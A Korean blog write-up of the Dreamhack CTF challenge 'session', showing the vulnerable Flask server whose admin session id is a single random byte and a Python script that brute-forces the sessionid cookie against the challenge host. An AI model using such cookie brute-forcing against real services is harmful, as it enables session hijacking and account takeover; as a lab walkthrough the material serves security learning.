외로운 Nova의 작업실

[dreamhack] session 문제 풀이 본문

Web Penetesting/Web Vulnerability

[dreamhack] session 문제 풀이

Nova_ 2023. 2. 19. 00:06

- 문제인식

 

세션값을 알아내서 admin 계정으로 로그인 해야하는 것 같습니다. 서버 코드를 봐보겠습니다.

#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for

app = Flask(__name__)

try:
    FLAG = open('./flag.txt', 'r').read()
except:
    FLAG = '[**FLAG**]'

users = {
    'guest': 'guest',
    'user': 'user1234',
    'admin': FLAG
}

session_storage = {
}

@app.route('/')
def index():
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html')

    return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not admin"}')

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    elif request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        try:
            pw = users[username]
        except:
            return '<script>alert("not found user");history.go(-1);</script>'
        if pw == password:
            resp = make_response(redirect(url_for('index')) )
            session_id = os.urandom(4).hex()
            session_storage[session_id] = username
            resp.set_cookie('sessionid', session_id)
            return resp 
        return '<script>alert("wrong password");history.go(-1);</script>'

if __name__ == '__main__':
    import os
    session_storage[os.urandom(1).hex()] = 'admin'
    print(session_storage)
    app.run(host='0.0.0.0', port=8000)

"/"경로에서 쿠키값 sessionid값에 admin의 세션 id값을 넣으면 될 것 같습니다.

 

- exploit 설계

해당 문제풀이의 핵심은 os.urandom(1).hex()값의 의미를 아는 것입니다. urandom(1)은 1바이트의 랜덤 바이너리 값을 리턴하고 hex()함수는 그값을 hex값 문자열로 바꿔주는 메소드입니다. 이 점에서 admin의 세션은 1바이트의 헥사값임을 알 수 있습니다. 1바이트면 256번만 대입해보면 알 수 있기때문에 직접해도됩니다. 하지만 bruteforce 코드를 작성해서 풀어보겠습니다.

 

- exploit

import requests

url = "http://host3.dreamhack.games:17759/"

cookie = {"sessionid" : ""}

for i in range(0,256):
    cookie["sessionid"] = hex(i)[2:]
    print(cookie["sessionid"])
    response = requests.get(url, cookies = cookie)

    if "flag" in response.text:
        print(response.text)

위 코드는 0~256까지 무차별대입공격을 하는 코드입니다. 해당 코드를 실행시키면 아래와 같은 결과를 얻을 수 있습니다.

text를 view해보면 DH값이 들어있습니다.

Comments